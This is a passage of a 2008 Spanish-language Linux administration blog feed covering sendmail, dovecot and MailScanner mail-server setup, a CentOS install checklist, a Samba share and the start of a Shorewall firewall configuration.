/&gt;ekxo.com&lt;br /&gt;curso03.factor.com&lt;br /&gt;falkon.com.mx&lt;br /&gt;linux.net.mx&lt;br /&gt;&lt;br /&gt;4-dominios que tengo de manera local (copia de loca-host-names) ( reenvio de correo electronico)&lt;br /&gt;&lt;br /&gt;[root@localhost mail]# touch /etc/mail/relay-domains&lt;br /&gt;[root@localhost mail]# vim /etc/mail/relay-domains &lt;br /&gt;ekxo.com&lt;br /&gt;curso03.factor.com&lt;br /&gt;falkon.com.mx&lt;br /&gt;linux.net.mx&lt;br /&gt;5-[root@localhost mail]# yum install bind-utils&lt;br /&gt;tiene varias herramientas para la prueba de dns.&lt;br /&gt;root@localhost mail]# host generis.com.mx&lt;br /&gt;(el servidor principal es que que tiene el que tenga la prioridad mas baja)&lt;br /&gt;generis.com.mx has address 200.56.247.14&lt;br /&gt;generis.com.mx mail is handled by 50 web.orvon.com.mx.&lt;br /&gt;generis.com.mx mail is handled by 10 correo.orvon.com.mx.&lt;br /&gt;6-Configuracion &lt;br /&gt;[root@localhost mail]# vim /etc/mail/sendmail.mc&lt;br /&gt;DESCOMENTAR LAS LINEAS -ELIMINANDO EL DNL Y EL ESPACIO.&lt;br /&gt;dnl TRUST_AUTH_MECH(`EXTERNAL DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dnl&lt;br /&gt;dnl define(`confAUTH_MECHANISMS', `EXTERNAL GSSAPI DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dnl&lt;br /&gt;BUSCAR LA LINEA&lt;br /&gt;DAEMON_OPTIONS(`Port=smtp,Addr=127.0.0.1, Name=MTA')dnl&lt;br /&gt; SI QUEREMOS ENVIAR Y RECIBIR CORREO DESDE Y HACIA AFUERA ESTA LINEA NO NOS SIRVE HAY QUE BORRAR  Addr=127.0.0.1.&lt;br /&gt;ASI&lt;br /&gt;DAEMON_OPTIONS(`Port=smtp,Name=MTA')dnl&lt;br /&gt;&lt;br /&gt;7-Poner el dominio principal (si estan comentadas descomentarlas)&lt;br /&gt;MASQUERADE_AS(`ekxo.com')dnl y descomentar las siguentes lienas&lt;br /&gt;FEATURE(masquerade_envelope)dnl&lt;br /&gt;FEATURE(masquerade_entire_domain)dnl&lt;br /&gt;8-verificar que existan estas 3 lineas&lt;br /&gt;&lt;br /&gt;* FEATURE(`virtusertable', `hash -o /etc/mail/virtusertable.db')dnl (pequeña base de datos que te permiten tener varios buzones de correo hacia un solo usuario esto es para la entrada de correo)&lt;br /&gt;&lt;br /&gt;* FEATURE(`genericstable', `hash -o /etc/mail/genericstable.db')dnl &lt;br /&gt;(te permite tener un solo usuario hacia una sola cuenta de correo esto es para la salida)&lt;br /&gt;&lt;br /&gt;* GENERICS_DOMAIN_FILE(`/etc/mail/genericstable')dnl&lt;br /&gt;( si no estan  las ponemos)&lt;br /&gt;8.crear usuarios&lt;br /&gt;[root@localhost mail]# useradd falkon&lt;br /&gt;[root@localhost mail]# passwd falkon&lt;br /&gt;Changing password for user falkon.&lt;br /&gt;New UNIX password: &lt;br /&gt;BAD PASSWORD: it is based on a dictionary word&lt;br /&gt;Retype new UNIX password: &lt;br /&gt;passwd: all authentication tokens updated successfully.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;9-editar &lt;br /&gt;[root@localhost mail]# vim /etc/mail/virtusertable &lt;br /&gt;jonathan@ekxo.com       jonathan&lt;br /&gt;falkon@falkon.com.mx    jonathan&lt;br /&gt;&lt;br /&gt;10-crear el archivo  genericstable&lt;br /&gt;[root@localhost mail]# touch /etc/mail/genericstable y editarlo &lt;br /&gt;ekxo.com        jonathan@ekxo.com&lt;br /&gt;falkon.com.mx    jonathan@falkon.com.mx&lt;br /&gt;&lt;br /&gt;crear generics-domains&lt;br /&gt;[root@localhost mail]# touch /etc/mail/generics-domains (metemos ahi los dominios con los cuales ocupamos el enmascaramiento)&lt;br /&gt;ekxo.com&lt;br /&gt;falkon.com.mx&lt;br /&gt;&lt;br /&gt;11-creamos la base de datos&lt;br /&gt;[root@localhost mail]# makemap hash  /etc/mail/genericstable.db &lt; /etc/mail/genericstable &lt;br /&gt;[root@localhost mail]# makemap hash  /etc/mail/virtusertable.db &lt; /etc/mail/virtusertable&lt;br /&gt;&lt;br /&gt;12- iniciar servicio &lt;br /&gt;[root@localhost mail]# service sendmail restart&lt;br /&gt;esactivación de sm-client:                                [  OK  ]&lt;br /&gt;Apagando sendmail:                                         [  OK  ]&lt;br /&gt;Iniciando sendmail:                                        [  OK  ]&lt;br /&gt;Inicio de sm-client:                                       [  OK  ]&lt;br /&gt;13- comprobar &lt;br /&gt;[root@localhost mail]# service sendmail restart&lt;br /&gt;Desactivación de sm-client:                                [  OK  ]&lt;br /&gt;Apagando sendmail:                                         [  OK  ]&lt;br /&gt;Iniciando sendmail:                                        [  OK  ]&lt;br /&gt;Inicio de sm-client:                                       [  OK  ]&lt;br /&gt;[root@localhost mail]# chkconfig httpd on &lt;br /&gt;13-editar &lt;br /&gt;[root@localhost mail]# vim /etc/dovecot.conf &lt;br /&gt;descomentar = protocols = imap imaps pop3 pop3s&lt;br /&gt;&lt;br /&gt;reiniciar&lt;br /&gt;[root@localhost mail]# service dovecot restart&lt;br /&gt;Parando Dovecot Imap:                                      [  OK  ]&lt;br /&gt;Iniciando Dovecot Imap:                                    [  OK  ]&lt;br /&gt;14-[root@localhost mail]# chkconfig dovecot on &lt;br /&gt;15-abrir un explorer&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;INSTALAR RPM&lt;br /&gt;&lt;br /&gt;[root@localhost mail]# rpm -Uhv http://apt.sw.be/packages/rpmforge-release/rpmforge-release-0.3.6-1.el5.rf.i386.rpm&lt;br /&gt;Retrieving http://apt.sw.be/packages/rpmforge-release/rpmforge-release-0.3.6-1.el5.rf.i386.rpm&lt;br /&gt;warning: /var/tmp/rpm-xfer.kaZkHy: Header V3 DSA signature: NOKEY, key ID 6b8d79e6&lt;br /&gt;Preparing...                ########################################### [100%]&lt;br /&gt;   1:rpmforge-release       ########################################### [100%]&lt;br /&gt;INSTALAR MAILSCANER&lt;br /&gt;&lt;br /&gt;1-instalar las fuentes del kernel con la version  en especifico&lt;br /&gt;[root@localhost mail]# uname -r&lt;br /&gt;2.6.18-8.el5&lt;br /&gt;[root@localhost mail]# yum install kernel-devel-2.6.18-8.el5&lt;br /&gt;&lt;br /&gt;Dependencies Resolved&lt;br /&gt;&lt;br /&gt;=============================================================================&lt;br /&gt; Package                 Arch       Version          Repository        Size &lt;br /&gt;=============================================================================&lt;br /&gt;Installing:&lt;br /&gt; kernel-devel            i686       2.6.18-8.el5     base              4.5 M&lt;br /&gt;&lt;br /&gt;Transaction Summary&lt;br /&gt;=============================================================================&lt;br /&gt;Install      1 Package(s)         &lt;br /&gt;Update       0 Package(s)         &lt;br /&gt;Remove       0 Package(s)         &lt;br /&gt;Installed: kernel-devel.i686 0:2.6.18-8.el5&lt;br /&gt;Complete!&lt;br /&gt;&lt;br /&gt;[root@localhost mail]# yum -y install clamav clamav-db unrar spamassasin kernel-headers-2.6.18-8.el5 gcc gcc-c++ rpm-build gmp&lt;br /&gt;Dependencies Resolved&lt;br /&gt;&lt;br /&gt;=============================================================================&lt;br /&gt; Package                 Arch       Version          Repository        Size &lt;br /&gt;=============================================================================&lt;br /&gt;Installing:&lt;br /&gt; clamav                  i386       0.91.1-1.el5.rf  rpmforge          1.1 M&lt;br /&gt; clamav-db               i386       0.91.1-1.el5.rf  rpmforge           10 M&lt;br /&gt; gcc                     i386       4.1.1-52.el5.2   updates           4.9 M&lt;br /&gt; gcc-c++                 i386       4.1.1-52.el5.2   updates           3.3 M&lt;br /&gt; rpm-build               i386       4.4.2-37.el5     base              548 k&lt;br /&gt; unrar                   i386       3.7.4-1.el5.rf   rpmforge          111 k&lt;br /&gt;Installing for dependencies:&lt;br /&gt; elfutils                i386       0.125-3.el5      base              163 k&lt;br /&gt; elfutils-libs           i386       0.125-3.el5      base              105 k&lt;br /&gt; glibc-devel             i386       2.5-12           base              2.0 M&lt;br /&gt; glibc-headers           i386       2.5-12           base              605 k&lt;br /&gt; libgomp                 i386       4.1.1-52.el5.2   updates            69 k&lt;br /&gt; libstdc++-devel         i386       4.1.1-52.el5.2   updates           9.4 M&lt;br /&gt;&lt;br /&gt;Transaction Summary&lt;br /&gt;=============================================================================&lt;br /&gt;Install     12 Package(s)         &lt;br /&gt;Update       0 Package(s)         &lt;br /&gt;Remove       0 Package(s)         &lt;br /&gt;&lt;br /&gt;Total download size: 32 M&lt;br /&gt;&lt;br /&gt;Installed: clamav.i386 0:0.91.1-1.el5.rf clamav-db.i386 0:0.91.1-1.el5.rf gcc.i386 0:4.1.1-52.el5.2 gcc-c++.i386 0:4.1.1-52.el5.2 rpm-build.i386 0:4.4.2-37.el5 unrar.i386 0:3.7.4-1.el5.rf&lt;br /&gt;Dependency Installed: elfutils.i386 0:0.125-3.el5 elfutils-libs.i386 0:0.125-3.el5 glibc-devel.i386 0:2.5-12 glibc-headers.i386 0:2.5-12 libgomp.i386 0:4.1.1-52.el5.2 libstdc++-devel.i386 0:4.1.1-52.el5.2&lt;br /&gt;Complete!&lt;br /&gt;&lt;br /&gt;Instalación de MailSCANER &lt;br /&gt;(Meta herramienta: herramienta que utiliza otras herramientas , tiene la capacidad de tnef ,filtros personalizados ,ciertos ficheros ,manejo de lista de bloqueos DNSBL = DOMAIN NAME SERVER BLOCK LIST , RBLS= )&lt;br /&gt;tnef(protocolo para correos enviados desde outlook es de microsoft)&lt;br /&gt;1- sendmail previamente configurado&lt;br /&gt;antispam  (mailscaNER no requiere que spamasasin este configurado)&lt;br /&gt;&lt;br /&gt;2-bajarlo&lt;br /&gt;[root@localhost MailScanner-4.62.9-3]# wget -c http://www.mailscanner.info/files/4/rpm/MailScanner-4.62.9-3.rpm.tar.gz&lt;br /&gt;&lt;br /&gt;Descomprimirlo [root@localhost MailScanner-4.62.9-3]# tar -xvf  MailScanner-4.62.9-3.rpm.tar.gz &lt;br /&gt;&lt;br /&gt;Ir a la carpeta [root@localhost MailScanner-4.62.9-3]# cd MailScanner-4.62.9-3&lt;br /&gt;&lt;br /&gt;correr el script install.sh&lt;br /&gt; ya instalado &lt;br /&gt;&lt;br /&gt;3- editar [root@localhost html]# vim /etc/MailScanner/MailScanner.conf &lt;br /&gt;y configurar las variables &lt;br /&gt;&lt;br /&gt;%org-name% = ekxo&lt;br /&gt;%org-long-name% = linux-ekxo&lt;br /&gt;%web-site% = www.ekxo.com&lt;br /&gt;%report-dir% = /etc/MailScanner/reports/es&lt;br /&gt;%rules-dir% = /etc/MailScanner/rules&lt;br /&gt;&lt;br /&gt; configurar los parámetros generales de sistema&lt;br /&gt;&lt;br /&gt;Quarantine Dir = /var/spool/MailScanner/quarantine&lt;br /&gt;MTA = sendmail&lt;br /&gt;Sendmail = /usr/bin/sendmail&lt;br /&gt;Scan Messages = yes (utilizar reglas)&lt;br /&gt;Reject Message = no(utilizar reglas)&lt;br /&gt;Maximum Attachments Per Message = 200&lt;br /&gt;Expand TNEF = yes&lt;br /&gt;Use TNEF Contents = replace&lt;br /&gt;Deliver Unparsable TNEF = no&lt;br /&gt;Maximum Message Size = %rules-dir%/max.message.size.rules&lt;br /&gt;archivo de max.message.size.rules&lt;br /&gt;# This is an example ruleset to show how rules can have resulting values&lt;br /&gt;# other than yes and no. This ruleset demonstrates having a numerical result.&lt;br /&gt;# The From: and To: rules show how simple domains can be used to select&lt;br /&gt;# different values for the result of the ruleset.&lt;br /&gt;# Note that the fields of each rule line can be separated by any whitespace,&lt;br /&gt;# any combination of tabs and spaces.&lt;br /&gt;#&lt;br /&gt;# The 2 lines involving domain3.com show that for email to user@domain3.com&lt;br /&gt;# has a limit of 5Mbytes per message, while email to any other user&lt;br /&gt;# @domain3.com has a limit of 500Kbytes per message.&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;To:       *@domain1.com     10M&lt;br /&gt;To:       *@domain2.com     20M&lt;br /&gt;From:     user@domain3.com   5M&lt;br /&gt;From:     *@domain3.com     500K&lt;br /&gt;&lt;br /&gt;#&lt;br /&gt;# The following line specifies the default result used when none of the&lt;br /&gt;# other rules match. In this example,&lt;br /&gt;# Maximum Message Size = 0&lt;br /&gt;# means that there is no limit to the size of the message.&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;To:       ekxo@ekxo.com     80M&lt;br /&gt;To:       *@falkon          20M&lt;br /&gt;From:     carlos@ekxo.com   5M     &lt;br /&gt;&lt;br /&gt;FromOrTo: default           0&lt;br /&gt;--------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Maximum Attachment Size = -1&lt;br /&gt;Minimum Attachment Size = -1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Configurar el sistema antivirus&lt;br /&gt;&lt;br /&gt;Virus Scanning = yes&lt;br /&gt;Virus Scanners = auto&lt;br /&gt;Deliver Disinfected Files = no&lt;br /&gt;Block Encrypted Messages = no (mensajes cifrados)&lt;br /&gt;Block Unencrypted Messages = no&lt;br /&gt;Allow Password-Protected Archives = no&lt;br /&gt;Monitors for ClamAV Updates = /var/clamav/*.inc/*&lt;br /&gt;&lt;br /&gt;ClamAVmodule Maximum Recursion Level = 8 (niveles a donde se mete a buscar en dado caso que esten un zio dentro de un zip)&lt;br /&gt;ClamAVmodule Maximum Files = 1000&lt;br /&gt;ClamAVmodule Maximum File Size = 10000000 # (10 Mbytes)&lt;br /&gt;ClamAVmodule Maximum Compression Ratio = 250&lt;br /&gt;&lt;br /&gt;# Clamd only: configuration options for using the clamd daemon.&lt;br /&gt;# 1. The port to use when communicating with clamd via TCP connection&lt;br /&gt;# 2. The Socket, or IP to use for communicating with the clamd Daemon.&lt;br /&gt;#    You enter either the full path to the UNIX socket file or the IP&lt;br /&gt;#    address the daemon is listening on.&lt;br /&gt;# 3. The ClamD Lock file should be created by clamd init script in most&lt;br /&gt;#    cases. If it is not then the entry should be blank.&lt;br /&gt;# 4. If MailScanner is running on a system with more then 1 CPU core (or&lt;br /&gt;#    more than 1 CPU) then you can set "Clamd Use Threads" to "yes" to&lt;br /&gt;#    speed up the scanning, otherwise there is no advantage and it should&lt;br /&gt;#    be set to "no".&lt;br /&gt;#&lt;br /&gt;# None of these options can be the filenames of rulesets, they must be just&lt;br /&gt;# simple values.&lt;br /&gt;Clamd Port = 3310&lt;br /&gt;Clamd Socket = /tmp/clamd&lt;br /&gt;Clamd Lock File = # /var/lock/subsys/clamd&lt;br /&gt;Clamd Use Threads = no&lt;br /&gt;&lt;br /&gt;                             &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Contenido peligros Phising &lt;br /&gt;&lt;br /&gt;Dangerous Content Scanning = yes&lt;br /&gt;Allow External Message Bodies = no&lt;br /&gt;Find Phishing Fraud = yes&lt;br /&gt;Also Find Numeric Phishing = yes&lt;br /&gt;Highlight Phishing Fraud = yes&lt;br /&gt;Phishing Safe Sites File = %etc-dir%/phishing.safe.sites.conf&lt;br /&gt;Convert Dangerous HTML To Text = yes&lt;br /&gt;Convert HTML To Text = no&lt;br /&gt;Deny Filenames =\.exe$ \.bat$&lt;br /&gt;Deny Filetypes =executable script&lt;br /&gt;Filetype Rules = %etc-dir%/filetype.rules&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Reportes y respuestas automaticas&lt;br /&gt;&lt;br /&gt;Quarantine Infections = yes&lt;br /&gt;Include Scanner Name In Reports = no&lt;br /&gt;Inline HTML Signature = %report-dir%/inline.sig.html&lt;br /&gt;Inline Text Signature = %report-dir%/inline.sig.txt&lt;br /&gt;&lt;br /&gt;Notificar remitentes&lt;br /&gt;&lt;br /&gt;Notify Senders = yes&lt;br /&gt;Notify Senders Of Viruses = no&lt;br /&gt;Notify Senders Of Blocked Size Attachments = no&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SPAM&lt;br /&gt;&lt;br /&gt;Spam Domain List = SORBS-BADCONF SORBS-NOMAIL&lt;br /&gt;Spam Lists To Reach High Score = 3&lt;br /&gt;Spam Lists To Be Spam = 1&lt;br /&gt;&lt;br /&gt;Is Definitely Not Spam = %rules-dir%/spam.whitelist.rules&lt;br /&gt;Is Definitely Spam = no&lt;br /&gt;Definite Spam Is High Scoring = yes&lt;br /&gt;&lt;br /&gt; SpamAssassin&lt;br /&gt;&lt;br /&gt;Use SpamAssassin = yes&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;AL FINALIZAR LA CONFIGURACION&lt;br /&gt;MRTG&lt;br /&gt;1-[root@localhost html]# service sendmail stop &lt;br /&gt;2-[root@localhost html]# service MailScanner restart&lt;br /&gt;Shutting down MailScanner daemons:&lt;br /&gt;         MailScanner:                                      [  OK  ]&lt;br /&gt;         incoming sendmail:                                [  OK  ]&lt;br /&gt;         outgoing sendmail:                                [  OK  ]&lt;br /&gt;Waiting for MailScanner to die gracefully ... dead.&lt;br /&gt;Starting MailScanner daemons:&lt;br /&gt;         incoming sendmail:                                [  OK  ]&lt;br /&gt;         outgoing sendmail:                                [  OK  ]&lt;br /&gt;         MailScanner:                                      [  OK  ]&lt;br /&gt;3-[root@localhost html]# chkconfig sendmail off (se va ejecutar sendmail como hijo de mailscanner)&lt;br /&gt;4-[root@localhost html]# chkconfig MailScanner on&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-5910023602566945214?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/5910023602566945214/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=5910023602566945214' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/5910023602566945214'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/5910023602566945214'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/install-send-mail.html' title='INSTALL SEND MAIL'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-3136082595387210466</id><published>2008-01-18T11:14:00.000-08:00</published><updated>2008-01-18T11:15:01.590-08:00</updated><title type='text'>INSTALL CENTOS</title><content type='html'>Instalacion centos&lt;br /&gt;&lt;br /&gt;Paso 1 linux text lang=text vga=791 (parámetros mas usados)&lt;br /&gt;Paso 2 selección del teclado es&lt;br /&gt;Paso 3 selecciona tipo de sistema  a instalar&lt;br /&gt;Opciones &lt;br /&gt;1.Workstation ambiente (grafico y sistema)&lt;br /&gt;2.escritorio (suite de oficina navegador)&lt;br /&gt;3.custom (te da a escoger que paquetes selecciona)&lt;br /&gt;4.server &lt;br /&gt;&lt;br /&gt;Paso 4 partcionamiento &lt;br /&gt; &lt;br /&gt;Escoger disk druid  pariticionamiento manual&lt;br /&gt;Crear 6 particiones importantes:  boot,(128mb) ,swap (la memoria x 2), / raiz (10 gb ), tmp (10 gb),var (50%de lo que queda),home (50%de lo que queda).&lt;br /&gt;&lt;br /&gt;Nota: 4 particiones fisicas primarias&lt;br /&gt;Osea 3 particiones primarias y una extendida.&lt;br /&gt;&lt;br /&gt;Tipo de sistemas de archivos ext3 &lt;br /&gt;&lt;br /&gt;Paso 5 escoger gestor de arranque si deseamos.&lt;br /&gt;&lt;br /&gt;Paso 6 configurar eth0 con dhcp&lt;br /&gt;Paso 7 configurar el nombre del host &lt;br /&gt;Paso 8 configurar cortafuegos.&lt;br /&gt;Paso 9 selinux security enhanced  (permite que cierta aplicación se ejecute cierto usario y puerto y es muy restrictivo)&lt;br /&gt;&lt;br /&gt;Nota : shorewall fw.&lt;br /&gt;&lt;br /&gt;Paso 10 selecccionar idioma  y el idioma por defecto.&lt;br /&gt;Paso 11 seleccionar el uso horario.&lt;br /&gt;Paso 12 seleccionar contrasea de root.&lt;br /&gt;No debe ser una palabra . &lt;br /&gt;Utileria para crear contraseas&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-3136082595387210466?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/3136082595387210466/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=3136082595387210466' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/3136082595387210466'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/3136082595387210466'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/install-centos.html' title='INSTALL CENTOS'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-5648337727115646400</id><published>2008-01-17T13:07:00.000-08:00</published><updated>2008-01-18T08:34:01.389-08:00</updated><title type='text'></title><content type='html'>Samba un poco basico!!&lt;br /&gt;&lt;p&gt;1-esto es &lt;strong&gt;basico&lt;/strong&gt; en&lt;strong&gt;&lt;em&gt; samba &lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;mkdir /sigma/kb&lt;/p&gt;&lt;p&gt;&lt;br /&gt;chmod -R 775 /sigma/kb/&lt;/p&gt;&lt;p&gt;&lt;br /&gt;chmod -R g+s /sigma/kb/&lt;/p&gt;&lt;p&gt;&lt;br /&gt;NOTA: UTILIZAMOS EL BIT PEGAJOSO PARA UN MEJOR MANEJO DE NUESTRO SHARE VALE!!!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;groupadd kb&lt;/p&gt;&lt;p&gt;&lt;br /&gt;chgrp -R kb /sigma/kb/&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;compartir en red:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;crear entrada en /etc/samba/smb.conf&lt;/p&gt;&lt;p&gt;&lt;br /&gt;[kb]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;path = /sigma/kb&lt;/p&gt;&lt;p&gt;&lt;br /&gt;valid users = @kb&lt;/p&gt;&lt;p&gt;&lt;br /&gt;public = no&lt;/p&gt;&lt;p&gt;&lt;br /&gt;writable = yes&lt;/p&gt;&lt;p&gt;&lt;br /&gt;printable = no&lt;/p&gt;&lt;p&gt;&lt;br /&gt;create mask = 0775&lt;/p&gt;&lt;p&gt;&lt;br /&gt;directory mask = 0775&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;asignar permisos a usuarios:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;en /etc/group&lt;/p&gt;&lt;p&gt;&lt;br /&gt;kb:x:544:atellezlinares,licmj,mlopez&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;reiniciar servicio&lt;/p&gt;&lt;p&gt;&lt;br /&gt;/etc/rc.d/init.d/smb restart &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-5648337727115646400?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/5648337727115646400/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=5648337727115646400' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/5648337727115646400'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/5648337727115646400'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/samba-un-poco-basico-1-esto-es-basico.html' title=''/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-1810646989282489868</id><published>2008-01-17T13:03:00.000-08:00</published><updated>2008-01-18T08:34:01.409-08:00</updated><title type='text'></title><content type='html'>Shorewall fw 4 linux on fc7&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Shorewall&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;a href="http://www.shorewall.net/"&gt;shorewall&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;1­ Instalando y bajando­&lt;/p&gt;&lt;p&gt;&lt;br /&gt;[root@localhost html]# wget http://www1.shorewall.net/pub/shorewall/3.4/shorewall­&lt;/p&gt;&lt;p&gt;&lt;br /&gt;3.4.5/shorewall­3.4.5­1.noarch.rpm&lt;/p&gt;&lt;p&gt;&lt;br /&gt;­­14:19:37­­  http://www1.shorewall.net/pub/shorewall/3.4/shorewall­3.4.5/shorewall­3.4.5­&lt;/p&gt;&lt;p&gt;&lt;br /&gt;1.noarch.rpm&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Resolviendo www1.shorewall.net...206.124.146.177&lt;/p&gt;&lt;p&gt;&lt;br /&gt;                                               &lt;/p&gt;&lt;p&gt;&lt;br /&gt;Connecting to www1.shorewall.net|206.124.146.177                    |:80... conectado.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Longitud: 218476 (213K) [application/x­rpm]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Saving to: `shorewall­3.4.5­1.noarch.rpm'&lt;/p&gt;&lt;p&gt;&lt;br /&gt;100%[===================================================================&lt;/p&gt;&lt;p&gt;&lt;br /&gt;=================&gt;] 218.476     16,7K/s   in 10s    &lt;/p&gt;&lt;p&gt;&lt;br /&gt;14:19:48 (20,7 KB/s) ­ `shorewall­3.4.5­1.noarch.rpm' saved [218476/218476]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;[root@localhost html]# rpm ­ivh shorewall­3.4.5­1.noarch.rpm &lt;/p&gt;&lt;p&gt;&lt;br /&gt;warning: shorewall­3.4.5­1.noarch.rpm:Header V3 DSA signature: NOKEY, key ID 6c562ac4&lt;/p&gt;&lt;p&gt;&lt;br /&gt;                                                      &lt;/p&gt;&lt;p&gt;&lt;br /&gt;Preparing...                ########################################### [100%]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;   1:shorewall              ########################################### [100%]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;2­[root@localhost rules]# cd /etc/shorewall/&lt;/p&gt;&lt;p&gt;&lt;br /&gt;[root@localhost shorewall]# vim zones &lt;/p&gt;&lt;p&gt;&lt;br /&gt;definimos las zonas&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#&lt;/p&gt;&lt;p&gt;&lt;br /&gt;# Shorewall version 3.4 ­ Zones File&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#&lt;/p&gt;&lt;p&gt;&lt;br /&gt;# For information about this file, type "man shorewall­zones"&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#&lt;/p&gt;&lt;p&gt;&lt;br /&gt;# For more information, see http://www.shorewall.net/Documen                     tation.htm#Zones&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#&lt;/p&gt;&lt;p&gt;&lt;br /&gt;###############################################################################&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#ZONE   TYPE            OPTIONS         IN                      OUT&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#                                       OPTIONS                 OPTIONS&lt;/p&gt;&lt;p&gt;&lt;br /&gt;fw      firewall&lt;/p&gt;&lt;p&gt;&lt;br /&gt;net     ipv4&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#LAST LINE ­ ADD YOUR ENTRIES ABOVE THIS ONE ­ DO NOT REMOVE&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#solamente se pueden meter 5 caracteres para las zonas&lt;/p&gt;&lt;p&gt;&lt;br /&gt;3­definir interfaces&lt;/p&gt;&lt;p&gt;&lt;br /&gt;[root@localhost shorewall]# vim interfaces &lt;/p&gt;&lt;p&gt;&lt;br 